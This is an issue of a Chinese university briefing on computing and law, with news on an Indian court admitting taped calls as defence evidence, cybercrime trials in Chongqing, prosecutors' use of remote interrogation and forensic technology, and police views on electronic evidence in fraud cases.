计算机和法学学科交叉领域信息简报INFORMATION BRIEFING OF THE CROSS FIELD BETWEEN COMPUTER AND THE DISCIPLINE OF LAW 年03期 （总第27期）

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1 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 INFORMATION BRIEFING OF THE CROSS FIELD BETWEEN COMPUTER AND THE DISCIPLINE OF LAW 2015 年 11 期 ( 总 第 35 期 ) 华 东 政 法 大 学 计 算 机 应 用 技 术 学 科 ECUPL COMPUTER APPLICATION TECHNOLOGY DISCIPLINES

2 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 本 简 报 是 刑 事 司 法 学 院 信 息 科 学 与 技 术 系 和 图 书 馆 经 过 长 期 策 划, 多 次 讨 论, 从 2013 年 开 始 制 作 并 发 布 的 一 个 学 术 研 究 性 质 小 报 本 简 报 的 创 作 理 念 是 利 用 网 络 杂 志 报 纸 等 方 面 资 源 为 相 关 学 科 的 学 术 研 究 教 学 等 工 作 提 供 全 方 位 针 对 性 补 充 性 服 务 ; 创 作 宗 旨 是 聚 集 资 讯 精 华 开 阔 大 众 视 野 启 迪 研 究 思 路 助 推 学 术 进 步 主 要 内 容 包 括 学 科 博 客 和 由 博 客 等 信 息 提 炼 的 信 息 简 报 学 科 博 客 有 新 闻 动 态 国 内 外 学 术 会 议 专 业 资 源 快 讯 数 据 库 导 航 在 线 培 训 查 新 服 务 其 它 资 源 导 航 等 20 多 个 板 块 ; 信 息 简 报 有 新 闻 动 态 国 内 外 学 术 活 动 外 文 论 文 快 讯 专 业 书 刊 快 讯 国 内 外 新 法 律 法 规 研 究 动 向 研 究 成 果 等 10 多 个 板 块 本 简 报 是 月 刊, 下 月 上 旬 发 布

3 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 本 期 目 录 新 闻 动 态 SC allows accused to produce taped phone conversation as defence... 1 涉 网 络 犯 罪 审 判 面 临 新 挑 战... 2 法 律 监 督 用 上 互 联 网 公 安 部 : 使 用 电 子 数 据 是 打 击 网 络 犯 罪 最 佳 方 式... 5 网 络 犯 罪 首 次 纳 入 英 年 度 犯 罪 统 计... 6 量 子 密 码 学 的 诞 生... 8 国 内 首 家 互 联 网 智 库 联 盟 成 立 助 力 新 型 高 端 智 库 建 设... 8 首 次 中 美 打 击 网 络 犯 罪 及 相 关 事 项 对 话 成 果 声 明 索 尼 PS4 疑 被 恐 怖 分 子 利 用 科 技 巨 头 在 反 恐 中 能 否 做 更 多? 国 际 黑 客 带 奇 特 面 具 对 IS 宣 战 : 发 起 最 大 网 络 战 新 闻 分 析 : 中 国 超 算 能 力 缘 何 迅 猛 增 长 互 联 网 防 拐 是 赞 还 是 踩 网 络 游 戏 虚 拟 财 产 被 盗 : 报 警 取 证 难 研 制 智 能 产 品 应 先 考 虑 网 络 安 全 面 膜 群 玩 红 包 接 龙 组 织 者 抽 头 警 方 : 调 查 取 证 难 中 外 警 察 打 击 网 络 黑 客 : 木 马 伪 装 图 片 盗 取 网 银 习 近 平 网 络 观 : 建 网 络 强 国 让 发 展 成 果 惠 及 人 民 国 内 外 学 术 活 动 学 术 活 动 预 告 2016 年 网 络 系 统 和 安 全 国 际 会 议 年 第 二 届 移 动 和 安 全 服 务 国 际 会 议 第 九 届 电 子 治 理 理 论 与 实 践 国 际 会 议 多 媒 体 信 息 安 全 学 术 大 会 学 术 活 动 评 述 中 国 密 码 学 会 2015 年 会 在 上 海 成 功 召 开 第 五 届 全 国 计 算 机 取 证 技 术 研 讨 会 在 中 央 财 经 大 学 举 办 第 二 届 法 治 中 国 湘 江 论 坛 在 湖 南 省 长 沙 市 举 行 国 内 外 法 律 法 规 关 于 促 进 网 络 服 务 交 易 健 康 发 展 规 范 网 络 服 务 交 易 行 为 的 意 见 英 国 年 计 算 机 滥 用 法 聚 焦 流 氓 软 件 流 氓 软 件 泛 滥 成 灾 该 怎 么 治? 恶 意 捆 绑 安 装 起 底 流 氓 软 件 暴 利 链 电 脑 手 机 软 件 下 载 三 大 新 陷 阱 : 色 情 捆 绑 木 马 流 氓 软 件 侵 害 20 万 手 机 用 户 麦 德 公 司 十 人 获 刑 治 预 装 软 件 乱 象 既 要 狠, 也 要 准 评 论 : 对 手 机 流 氓 软 件 应 痛 下 责 罚 之 手... 41

4 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 研 究 动 向 Electronic evidence-india Home e-cooking; Are lawyers better at evidence collection than tech companies? Passware Exposes Suspects' Photo Stream to Computer Forensics 未 成 年 人 网 络 诈 骗 犯 罪 典 型 案 例 从 支 付 宝 盗 号 到 跨 国 诈 骗 公 安 部 公 布 打 击 网 络 黑 客 犯 罪 五 起 典 型 案 例 工 商 执 法 中 电 子 证 据 取 证 及 运 用 浅 谈 应 对 网 络 共 同 犯 罪 还 需 完 善 立 法 我 国 的 电 子 证 据 应 用 现 状 计 算 机 到 底 是 怎 么 识 别 人 脸 的? 网 络 安 全 法 ( 草 案 ) 条 文 梳 理 与 热 点 剖 析 电 子 银 行 法 律 风 险 的 几 个 问 题 电 子 数 据 证 据 的 概 念 界 定 与 特 征 分 析 技 术 分 析 : 攻 击 者 是 如 何 利 用 系 统 命 令 盲 注 实 现 拖 库 的? 解 读 臭 名 昭 著 的 DDoS 工 具 LOIC( 低 轨 道 离 子 加 农 炮 ) 源 码... 96

5 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 新 闻 动 态 SC allows accused to produce taped phone conversation as defence SC allows accused to produce taped phone conversation as defence Dhananjay Mahapatra,TNN Nov 25, 2015, AM IST NEW DELHI: Prosecution has been using electronic evidence to seek conviction of accused for a decade but for the first time, the Supreme Court on Monday permitted an accused to bring on record taped telephonic conversations to prove his innocence in a child sexual abuse case. The ruling assumes significance as the SC reversed concurrent decisions of a trial court and the Punjab and Haryana High Court which had rejected the accused's plea to produce recorded telephonic conversations between his wife and son with the girl's father to drive home that he had been framed because of a lingering property dispute with the girl's family. The accused had moved the trial court to take on record a compact disc purportedly containing telephonic conversations between Sandeep Verma (the girl's father) and Saurabh (the accused's son) and Meena Kumari (the accused's wife). He had pleaded with the trial court to get its authenticity tested by a forensic laboratory and match it with voice samples taken from the persons featuring in the conversation. Allowing the appeal by the accused, a bench of Justices Dipak Misra and P C Pant said the CD qualified to be treated as a document under the Evidence Act. "On a document filed by the defence, endorsement of admission or denial by the public prosecutor is sufficient and defence will have to prove the document if not admitted by the prosecution," it said. The SC said the accused, Shamsher Singh Verma, had claimed during his examination that he had been implicated in the case due to a property dispute. Though the SC refused to delve into the authenticity of the conversations, it said, "We are of the view that the courts below have erred in law in not allowing the application of the defence to play the compact disc relating to conversation between father of the victim and son and wife of the appellant (accused) regarding alleged property dispute. "In our opinion, the courts below have erred in law in rejecting the application to play the compact disc in question to enable the public prosecutor to admit or deny, and to get it sent to the forensic science laboratory by the defence." Writing the judgment for the bench, Justice Pant said, "The appellant is in jail and there appears to be no intention on his part to unnecessarily linger the trial, particularly when the prosecution witnesses have been examined. "Therefore, without expressing any opinion as to the final merits of the case, this appeal is allowed and the orders passed by the trial court and the HC are set aside. The application (for placing on record the compact disc and getting it examined by forensic laboratory) shall stand allowed. However, it is observed that the accused/appellant shall not be entitled to seek bail on the ground of delay of trial." 链 接 : leshow/ cms - 1 -

6 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 涉 网 络 犯 罪 审 判 面 临 新 挑 战 稿 件 来 源 : 法 制 网 发 布 时 间 : :32:30 法 制 网 记 者 吴 晓 锋 随 着 互 联 网 科 技 的 飞 速 发 展, 互 联 网 + 已 经 成 为 各 个 行 业 领 域 的 发 展 方 向 但 同 时, 互 联 网 也 面 临 着 日 益 严 峻 的 安 全 问 题, 涉 网 络 犯 罪 已 经 成 为 不 容 忽 视 的 社 会 问 题 不 法 分 子 极 具 网 络 特 点 的 作 案 手 法, 也 使 得 法 院 在 审 理 过 程 中 面 临 一 些 新 问 题 和 新 挑 战 记 者 从 重 庆 市 江 北 区 人 民 法 院 18 日 召 开 的 涉 网 络 犯 罪 新 闻 发 布 会 上 了 解 到, 自 2013 年 以 来, 江 北 区 法 院 共 审 结 涉 及 网 络 传 销 网 络 诈 骗 网 络 传 播 淫 秽 色 情 信 息 网 络 贩 枪 贩 毒 等 案 件 106 起, 判 处 被 告 人 147 名, 没 收 电 脑 手 机 汽 车 干 扰 器 毒 品 等 作 案 工 具 和 违 禁 品 86 件, 追 缴 违 法 所 得 100 余 万 元 据 江 北 区 法 院 刑 事 审 判 庭 庭 长 刘 懿 介 绍, 隐 蔽 性 强 技 术 含 量 高 涉 及 面 广 以 及 定 性 困 难, 是 涉 网 络 犯 罪 呈 现 的 四 个 主 要 特 点 隐 蔽 性 强 查 处 困 难 由 于 网 络 本 身 具 有 虚 拟 性, 不 法 分 子 通 过 网 络 可 轻 松 伪 装 身 份 实 施 犯 罪, 得 手 之 后 又 可 通 过 更 换 ID 等 方 式 迅 速 切 断 与 被 害 人 的 联 系, 销 声 匿 迹 在 新 闻 发 布 会 当 天 审 理 的 一 起 涉 网 络 犯 罪 案 件 中, 被 告 人 肖 某 等 人 就 是 利 用 即 时 通 讯 软 件 QQ 对 公 司 企 业 实 施 诈 骗 的 今 年 2 月, 肖 某 注 册 QQ 号 码 并 搜 索 到 某 科 技 公 司 内 部 的 QQ 群, 并 以 该 公 司 法 定 代 表 人 名 义, 加 入 该 内 部 群 在 骗 得 该 公 司 出 纳 刘 某 与 自 己 加 为 好 友 后, 先 后 以 支 付 预 付 款 尾 款 借 款 等 名 义 让 刘 某 给 转 账 68 万 余 元 谭 某 使 用 相 同 方 法 骗 得 该 公 司 约 70 万 元 在 将 骗 得 款 项 取 现 之 后, 谭 某 肖 某 等 人 将 出 纳 刘 某 QQ 号 码 拉 黑 并 删 除 聊 天 记 录 电 子 证 据 往 往 以 数 据 的 形 式 储 存 于 一 定 的 介 质 之 上, 需 要 远 程 勘 验 提 取 不 法 分 子 不 会 留 下 血 迹 指 纹 等 传 统 犯 罪 证 据, 被 害 人 也 很 难 向 侦 查 机 关 提 供 有 用 线 索, 致 使 案 件 识 别 性 差, 查 处 难 度 大 江 北 区 法 院 研 究 室 副 主 任 肖 瑶 说 技 术 含 量 高 收 益 可 观 网 络 犯 罪 属 于 智 能 型 犯 罪, 不 法 分 子 往 往 具 有 丰 富 的 计 算 机 知 识 和 高 超 的 技 能, 只 需 凭 借 自 身 智 力 优 势 即 可 获 得 财 富, 因 此 黑 客 攻 击 破 解 密 码 干 扰 通 信 网 络 等 犯 罪 日 益 频 发 江 北 区 法 院 曾 审 理 过 一 起 自 主 研 发 软 件 参 与 网 络 传 销 的 案 件 陈 某 邀 约 李 某 合 伙 开 公 司, 以 销 售 减 肥 产 品 的 名 义 组 织 传 销 活 动, 吸 纳 会 员 资 金 二 人 依 托 自 主 研 发 的 软 件 对 公 司 进 行 网 上 管 理, 参 加 者 只 需 交 纳 一 定 费 用 即 可 注 册 成 为 公 司 会 员, 通 过 发 展 下 线 获 得 公 司 奖 励 的 电 子 币 并 存 入 会 员 账 户 利 用 这 套 软 件, 陈 李 二 人 足 不 出 户 即 在 网 络 空 间 建 立 起 传 销 王 国, 先 后 吸 引 80 余 名 受 害 人 入 局 经 审 理, 江 北 区 法 院 以 组 织 领 导 传 销 活 动 罪, 判 处 陈 某 有 期 徒 刑 两 年 两 个 月, 并 处 罚 金 人 民 币 50 万 元 ; 判 处 李 某 有 期 徒 刑 两 年, 并 处 罚 金 人 民 币 40 万 元 此 外, 网 络 犯 罪 还 具 有 风 险 小 成 本 低 等 特 点, 不 法 分 子 只 需 通 过 一 台 计 算 机 即 可 完 成 犯 罪, 不 受 时 间 地 点 的 限 制, 收 益 却 能 达 到 数 万 元 甚 至 10 万 元, 回 报 惊 人 涉 及 面 广 危 害 程 度 深 互 联 网 具 有 全 球 性, 不 受 地 域 国 界 限 制, 受 众 面 广, 传 播 速 度 快, 且 具 有 不 确 定 性, 加 之 我 国 网 民 众 多, 造 成 网 络 犯 罪 辐 射 范 围 广 影 响 群 体 多, 危 害 巨 大 线 上 联 系, 线 下 实 施 犯 罪 的 案 件 近 年 来 也 不 时 发 生 在 曹 某 和 陈 某 共 谋 采 取 假 意 租 房 的 方 式 实 施 抢 劫 一 案 中, 曹 某 在 网 上 查 到 彭 某 有 意 出 租 房 屋, 遂 与 之 联 系, 约 定 与 彭 某 见 面 看 房, 陈 某 则 负 责 熟 悉 小 区 环 境 研 究 作 案 后 的 逃 跑 路 线 准 备 就 绪 后, 曹 某 陈 某 再 次 以 看 房 为 由 约 彭 某 见 面, 并 在 屋 内 对 彭 某 实 施 持 刀 抢 劫 二 人 抢 得 现 金 290 元 及 金 镶 玉 吊 坠 等 物 后 逃 走 - 2 -

7 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 江 北 区 法 院 审 理 后, 以 抢 劫 罪 对 被 告 人 曹 某 陈 某 判 处 有 期 徒 刑 十 年 六 个 月, 并 处 罚 金 人 民 币 1 万 元 在 此 案 中, 犯 罪 分 子 就 是 利 用 网 络 信 息 获 知 的 便 捷 性, 在 线 上 轻 易 找 到 作 案 线 索, 之 后 在 线 下 具 体 策 划 实 施 入 室 抢 劫, 造 成 极 大 的 社 会 危 害 性 对 此, 刘 懿 建 议 说, 首 先 明 确 交 流 对 象 的 真 实 身 份 ; 对 任 何 涉 及 自 己 财 产 处 分 权 的 信 息, 要 多 方 求 证 信 息 是 否 真 实 ; 在 权 益 受 到 侵 犯 的 时 候, 要 及 时 对 证 据 进 行 保 留, 提 供 给 司 法 机 关 定 性 困 难 审 理 难 度 大 近 年 来, 最 高 人 民 法 院 最 高 人 民 检 察 院 联 合 出 台 了 关 于 办 理 网 络 犯 罪 案 件 适 用 刑 事 诉 讼 程 序 若 干 问 题 的 意 见 关 于 办 理 网 络 赌 博 犯 罪 案 件 适 用 法 律 若 干 问 题 的 意 见 关 于 办 理 利 用 信 息 网 络 实 施 诽 谤 等 刑 事 案 件 适 用 法 律 若 干 问 题 的 解 释 等 相 关 司 法 解 释, 均 为 法 院 对 涉 网 络 犯 罪 的 审 理 判 决 提 供 了 更 明 确 的 法 律 依 据 网 络 犯 罪 总 体 属 于 新 型 犯 罪, 尽 管 国 家 已 出 台 多 部 司 法 解 释 及 相 关 意 见, 但 由 于 网 络 犯 罪 形 式 多 样 手 段 翻 新, 司 法 解 释 难 以 覆 盖 所 有 情 形, 因 此 界 定 作 案 手 法 酌 情 考 量 犯 罪 情 节 等 都 存 在 一 定 争 议, 也 给 案 件 审 理 带 来 新 的 挑 战 刘 懿 告 诉 记 者 : 像 盗 窃 诈 骗 网 络 游 戏 内 的 货 币 物 品 武 器 装 备 等 虚 拟 财 产 的 情 形 愈 来 愈 多, 对 虚 拟 财 产 是 否 为 财 产 虚 拟 财 产 如 何 确 定 数 额 等 也 存 在 争 议 今 后, 江 北 区 法 院 将 继 续 选 派 审 判 经 验 丰 富 的 法 官 专 门 负 责 审 理 涉 网 络 犯 罪 案 件, 认 真 研 究 相 关 法 律 法 规 司 法 解 释 和 典 型 案 例, 统 一 案 件 裁 判 尺 度, 确 保 判 决 定 性 准 确, 程 序 合 法, 量 刑 适 当 肖 瑶 说 相 关 链 接 : 法 律 监 督 用 上 互 联 网 发 布 时 间 : :40:00 来 源 : 检 察 日 报 摘 要 : 近 日, 上 海 市 嘉 定 区 检 察 院 例 行 召 开 检 委 会 会 议, 讨 论 对 涉 嫌 玩 忽 职 守 罪 的 查 某 是 否 作 出 相 对 不 起 诉 决 定 对 靳 某 刑 事 申 诉 案 是 否 制 发 检 察 建 议 该 院 工 作 人 员 介 绍, 今 年 该 院 的 远 程 视 频 讯 问 系 统 运 行 以 来, 共 远 程 提 讯 犯 罪 嫌 疑 人 535 人, 涵 盖 所 有 简 易 程 序 案 件, 平 均 每 提 讯 1 人 用 时 20 分 钟, 整 合 了 碎 片 化 时 间, 节 省 了 检 察 官 在 途 时 间, 促 进 了 提 讯 工 作 的 规 范 性 近 日, 上 海 市 嘉 定 区 检 察 院 例 行 召 开 检 委 会 会 议, 讨 论 对 涉 嫌 玩 忽 职 守 罪 的 查 某 是 否 作 出 相 对 不 起 诉 决 定 对 靳 某 刑 事 申 诉 案 是 否 制 发 检 察 建 议 之 前 检 委 会 委 员 们 从 该 院 检 委 会 决 策 系 统 里 收 到 相 关 材 料 相 关 案 例 法 律 法 规 等 委 员 们 在 发 表 意 见 的 同 时, 每 人 面 前 的 计 算 机 实 时 显 示 会 议 议 程 每 位 发 言 的 讨 论 记 录 等, 直 到 委 员 们 在 讨 论 结 果 上 电 子 签 名, 整 个 过 程 没 有 消 耗 一 张 纸, 决 策 效 率 和 水 平 很 高 这 是 该 院 运 用 现 代 科 技 提 升 检 察 工 作 的 一 个 片 段 近 年 来, 该 院 推 进 互 联 网 等 新 技 术 在 检 察 工 作 中 的 应 用, 保 障 检 察 工 作 创 新 发 展, 日 前 该 院 被 授 予 全 国 检 察 机 关 科 技 强 检 示 范 院 称 号 该 院 技 术 与 信 息 化 部 门 还 先 后 被 上 海 市 检 察 院 授 予 集 体 二 等 功 三 等 功 等 荣 誉 6 次 ; 律 师 服 务 保 障 系 统 司 法 办 案 场 所 管 理 保 障 系 统 等 信 息 化 开 发 项 目 在 全 市 推 广 使 用 我 要 见 检 察 长 我 是 嘉 定 区 检 察 院 公 诉 科 的 工 作 人 员, 今 天 依 法 对 你 进 行 讯 问 坐 在 该 院 远 程 讯 问 室 的 检 察 官 正 对 着 屏 幕 里 的 贩 毒 案 犯 罪 嫌 疑 人 张 某 进 行 讯 问, 整 个 远 程 讯 问 室 里 一 台 办 案 专 用 电 脑 一 台 远 程 示 证 仪 两 个 摄 像 头 两 台 显 示 器 而 张 某 此 时 远 在 十 几 公 里 外 的 看 守 所, 通 过 眼 前 的 屏 幕 能 看 到 提 讯 他 的 检 察 官 及 出 示 的 证 件, 张 某 对 远 程 讯 问 无 异 议, 检 察 官 对 犯 - 3 -

8 信 息 简 报 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 2015 年 11 期 罪 嫌 疑 人 张 某 告 知 了 权 利 义 务 等 讯 问 完 毕 后, 讯 问 笔 录 通 过 网 络 打 印 机 进 行 远 程 打 印, 在 看 守 所 里 的 书 记 员 将 笔 录 交 给 张 某 阅 读 无 误 后 签 字 确 认 讯 问 过 程 图 像 声 音 清 晰, 没 有 任 何 延 迟, 而 整 个 活 动 全 部 录 入 监 控 存 入 电 子 档 案 该 院 工 作 人 员 介 绍, 今 年 该 院 的 远 程 视 频 讯 问 系 统 运 行 以 来, 共 远 程 提 讯 犯 罪 嫌 疑 人 535 人, 涵 盖 所 有 简 易 程 序 案 件, 平 均 每 提 讯 1 人 用 时 20 分 钟, 整 合 了 碎 片 化 时 间, 节 省 了 检 察 官 在 途 时 间, 促 进 了 提 讯 工 作 的 规 范 性 无 独 有 偶, 家 住 南 翔 古 镇 的 彭 老 伯, 在 前 不 久 的 检 察 长 接 待 日 里, 走 进 该 院 驻 南 翔 检 察 室 的 远 程 接 访 室, 通 过 远 程 视 频 通 话 系 统, 向 几 十 公 里 外 的 该 院 副 检 察 长 面 对 面 反 映 诉 求 若 在 以 前, 腿 脚 不 便 的 彭 老 伯 需 要 多 次 换 乘 公 交 车, 花 费 近 一 个 多 小 时 的 时 间 才 能 赶 到 检 察 院 该 院 通 过 专 用 光 缆 实 现 了 看 守 所 驻 南 翔 社 区 检 察 室 与 院 本 部 远 程 互 联, 并 将 远 程 提 讯 接 访 同 步 录 音 录 像 视 频 示 证 等 进 行 有 机 整 合, 极 大 提 高 了 检 察 工 作 的 规 范 性 和 效 率, 方 便 了 基 层 群 众 就 近 控 告 申 诉 表 达 诉 求 特 别 是 在 驻 看 守 所 检 察 室 内 建 设 完 成 独 立 的 屏 蔽 机 房 作 为 监 控 联 网 及 远 程 异 地 备 份 机 房, 具 有 远 程 异 地 数 据 灾 备 及 恢 复 能 力, 确 保 了 检 察 办 案 数 据 安 全 他 为 什 么 这 时 血 压 突 然 升 高? 该 院 运 用 语 音 情 感 分 析 等 设 备 和 测 谎 技 术 突 破 难 案 也 很 神 奇 受 贿 犯 罪 嫌 疑 人 胡 某 在 审 讯 中 反 复 翻 供, 以 打 麻 将 赢 钱 为 借 口 掩 盖 受 贿 犯 罪, 并 企 图 搅 浑 水 误 导 侦 查 员 针 对 胡 某 反 侦 查 能 力 较 强 自 我 防 御 力 较 高 的 情 况, 检 察 官 请 来 该 院 的 心 理 测 试 人 员 助 力 在 了 解 其 家 庭 工 作 等 背 景 后, 心 理 测 试 人 员 运 用 语 音 情 感 分 析 等 设 备 和 测 谎 技 术, 巧 妙 设 置 了 大 量 测 试 题 目, 通 过 观 察 在 讯 问 中 电 脑 输 出 的 胡 某 的 语 音 情 感 图 谱 变 化 等 生 理 反 应, 来 分 析 和 观 察 其 在 回 答 问 题 时 的 情 感 变 化 果 然, 当 胡 某 被 问 到 是 否 有 人 在 打 麻 将 时 付 过 打 牌 垫 底 钱 时, 胡 某 表 情 镇 定 但 血 压 明 显 升 高, 侦 查 员 迅 速 抓 住 这 一 变 化 逐 步 击 垮 嫌 疑 人 心 理 防 线, 最 终 胡 某 承 认 其 在 建 设 工 程 中 存 在 受 贿 的 行 为, 案 件 也 得 以 侦 破 近 年 来, 该 院 在 技 术 装 备 硬 件 上 进 一 步 完 善, 配 置 电 子 显 微 镜 语 音 情 感 分 析 话 单 分 析 等 行 业 领 先 的 设 备, 实 现 检 验 鉴 定 工 作 对 文 证 审 查 笔 迹 鉴 定 司 法 会 计 电 子 物 证 等 方 面 的 全 覆 盖 2005 年 以 来, 先 后 开 展 心 理 测 试 216 人 次, 成 为 全 市 检 察 机 关 应 用 心 理 测 试 辅 助 办 案 最 多 的 单 位 应 用 检 察 技 术 辅 助 该 院 及 兄 弟 检 察 院 办 理 自 侦 案 件 130 余 件, 固 定 关 键 证 据 85 件, 使 34 件 难 度 较 大 的 案 件 取 得 突 破 在 技 术 辅 助 支 持 办 案 的 同 时, 该 院 运 用 检 察 技 术 规 范 自 身 司 法 行 为, 集 成 职 务 犯 罪 侦 查 指 挥 接 待 场 所 实 时 监 控 警 车 GPS 定 位 等 系 统, 开 发 运 用 了 检 察 业 务 综 合 管 理 信 息 平 台 ; 在 全 市 率 先 建 成 的 1250 平 方 米 司 法 办 案 场 所 的 同 时, 辅 助 开 发 了 司 法 办 案 场 所 管 理 保 障 系 统, 确 保 所 有 的 办 案 活 动 包 括 听 取 律 师 意 见 询 问 证 人 等 司 法 办 案 行 为, 都 能 通 过 全 覆 盖 的 同 步 录 音 录 像, 实 时 查 看 办 案 情 况 并 数 据 比 对, 将 司 法 活 动 置 于 镜 头 之 下, 实 现 全 程 留 痕, 以 规 范 的 软 硬 件 建 设 促 进 规 范 司 法 行 为 信 息 技 术 一 小 步 司 法 理 念 一 大 步 上 海 交 通 拥 堵, 该 院 地 处 西 北 郊 又 刚 搬 迁 新 址, 这 让 在 市 区 办 公 要 去 该 院 阅 卷 的 律 师 翟 玉 军 心 存 为 难, 他 通 过 该 院 自 主 研 发 的 嘉 检 之 星 律 师 接 待 服 务 系 统, 在 该 院 网 站 上 进 行 了 身 份 认 证 预 约 阅 卷 登 记 会 见 申 请 等, 随 后 一 大 早 就 出 了 门, 照 着 律 师 接 待 卡 上 路 线 提 示, 他 顺 利 到 达 了 目 的 地, 厚 达 百 页 的 案 卷, 翟 玉 军 只 花 了 半 小 时 便 完 成 了 阅 卷 在 全 市 检 察 机 关 推 进 律 师 接 待 工 作 现 场 会 上, 与 会 者 实 地 考 察 了 该 院 的 律 师 接 待 室, 实 际 操 作 了 嘉 检 之 星 后, 与 会 的 上 海 市 人 大 代 表 上 海 公 民 律 师 事 务 所 律 师 金 永 红 由 衷 地 说 : 这 是 信 息 技 术 进 了 一 小 步, 司 法 理 念 进 了 一 大 步 该 院 针 对 律 师 阅 卷 难 问 题, 挤 出 办 公 用 房 保 障 律 师 阅 卷 场 所, 配 备 高 拍 仪 等 辅 助 阅 卷 设 - 4 -

9 2015 年 11 期 华 东 政 法 大 学 计 算 机 和 法 学 学 科 交 叉 领 域 信 息 简 报 备, 并 自 主 开 发 嘉 检 之 星 律 师 接 待 服 务 系 统, 集 律 师 阅 卷 预 约 登 记 资 格 审 查 复 制 材 料 查 询 统 计 系 统 管 理 等 功 能, 通 过 科 技 手 段 改 善 了 律 师 阅 卷 环 境, 提 升 律 师 阅 卷 效 率, 保 障 了 律 师 执 业 权 益 作 为 上 海 市 深 化 检 务 公 开 工 作 的 试 点 牵 头 单 位, 该 院 于 去 年 5 月 1 日 正 式 上 线 了 嘉 定 检 察 微 官 网, 该 网 成 为 上 海 首 个 开 通 的 检 察 微 官 网 近 期, 他 们 又 在 全 市 率 先 将 微 信 平 台 应 用 到 行 贿 犯 罪 档 案 查 询 领 域, 实 现 行 贿 犯 罪 档 案 查 询 证 明 到 院 即 取 相 关 链 接 : 公 安 部 : 使 用 电 子 数 据 是 打 击 网 络 犯 罪 最 佳 方 式 :17:07 来 源 : 法 治 周 末 作 者 : 仇 飞 罗 聪 冉 根 据 公 安 部 门 统 计, 近 几 年 来, 以 电 信 网 络 诈 骗 为 例 的 侵 财 型 网 络 犯 罪 案 件 数 量, 以 每 年 20% 至 30% 的 速 度 增 长 增 长 速 度 快 行 为 特 征 手 段 持 续 翻 新 组 织 化 色 彩 浓 厚 等, 是 侵 财 型 网 络 犯 罪 的 特 点 11 月 21 日, 最 高 人 民 法 院 刑 三 庭 审 判 员 杜 曦 明 在 2015 互 联 网 刑 事 法 制 高 峰 论 坛 上 指 出, 目 前 在 打 击 防 范 侵 财 型 网 络 犯 罪 时, 因 立 法 活 动 的 滞 后 性 司 法 适 用 不 够 明 确 工 作 配 合 机 制 方 面 的 问 题, 导 致 惩 治 和 防 范 的 效 果 难 以 彰 显 据 了 解, 在 各 种 网 络 犯 罪 的 案 件 当 中, 侵 财 型 网 络 犯 罪 的 发 案 数 量 较 多, 行 为 方 式 也 较 多 样, 涉 及 的 面 较 广, 直 接 侵 害 老 百 姓 的 财 产 权 益, 是 当 前 打 击 网 络 犯 罪 的 一 个 重 点 最 高 人 民 法 院 研 究 室 刑 事 处 法 官 喻 海 松 介 绍, 涉 众 型 网 络 犯 罪 是 重 要 的 犯 罪 形 式, 而 其 破 案 率 却 大 概 只 有 1.5 个 百 分 点 腾 讯 公 司 安 全 管 理 部 总 经 理 朱 劲 松 表 示, 在 腾 讯 打 击 网 络 黑 产 的 十 多 年 中, 利 用 用 户 行 为 和 程 序 运 行 过 程 进 行 数 据 的 建 模, 识 别 互 联 网 恶 意 的 数 据, 对 将 近 10 亿 的 恶 意 网 址 进 行 检 测, 每 天 拦 截 1200 万 次 的 欺 诈 和 超 过 500 万 的 诈 骗 短 信 腾 讯 公 司 高 级 副 总 裁 腾 讯 研 究 院 院 长 郭 凯 天 表 示, 企 业 法 律 界 和 政 府 应 走 社 会 共 治 的 模 式, 共 同 推 进 法 律 的 研 究, 既 保 证 产 业 的 健 康 发 展, 又 能 杜 绝 网 络 犯 罪 问 题 的 发 生 非 单 干 户 成 为 打 击 难 点 在 互 联 网 发 展 初 期, 行 为 人 为 了 炫 耀 技 术, 会 在 攻 击 服 务 器 或 他 人 计 算 机 等 犯 罪 行 为 结 束 之 后, 留 下 调 侃 性 的 文 件, 比 如 我 来 过 了 你 的 计 算 机 已 经 不 安 全 了 等, 对 被 害 人 进 行 调 侃 炫 耀 这 类 犯 罪 的 社 会 危 害 性 比 较 小, 调 查 取 证 难 度 不 大, 根 据 刑 法 第 285 条 286 条 能 够 进 行 较 好 的 规 制 最 高 人 民 检 察 院 检 察 技 术 信 息 研 究 中 心 主 任 赵 志 刚 进 一 步 指 出, 但 今 天 的 网 络 犯 罪, 早 已 不 是 单 干 户 的 个 体 行 为 赵 志 刚 表 示, 现 在, 网 络 犯 罪 已 成 产 业 链 化, 有 专 门 收 集 公 民 信 息 的 有 专 门 利 用 伪 基 站 发 布 诈 骗 广 告 的, 有 专 门 开 发 木 马 软 件 的 分 工 日 趋 明 细 据 数 据 统 计, 今 年 1 月 至 8 月, 公 安 机 关 立 案 和 查 出 网 络 犯 罪 的 案 件 是 31.7 万 件 赵 志 刚 表 示, 成 本 低, 收 益 巨 大, 造 成 网 络 犯 罪 的 日 益 猖 獗 ; 与 移 动 互 联 网 相 结 合, 各 类 社 交 软 件 成 为 网 络 犯 罪 的 重 要 工 具 和 阵 地 到 更 为 头 疼 的 是, 这 些 交 易 勾 连 的 双 方, 可 能 相 互 不 认 识, 也 不 会 见 面 赵 志 刚 谈 公 安 部 网 络 安 全 保 卫 局 法 制 工 作 处 处 长 李 菁 菁 表 示, 网 络 犯 罪 的 网 上 网 下 的 界 限 逐 渐 模 糊, 以 利 益 作 为 纽 带, 相 互 绑 定 快 速 融 合, 使 网 络 犯 罪 的 谋 利 性 在 不 断 膨 胀, 助 推 了 网 络 犯 罪 市 场 的 形 成, 催 生 了 一 系 列 分 工 协 作, 利 益 共 享 的 黑 色 产 业 链 对 此, 李 菁 菁 进 一 步 指 出, 当 前 网 络 犯 罪 发 展 的 变 化, 决 定 了 必 须 调 整 刑 事 打 击 策 略, - 5 -

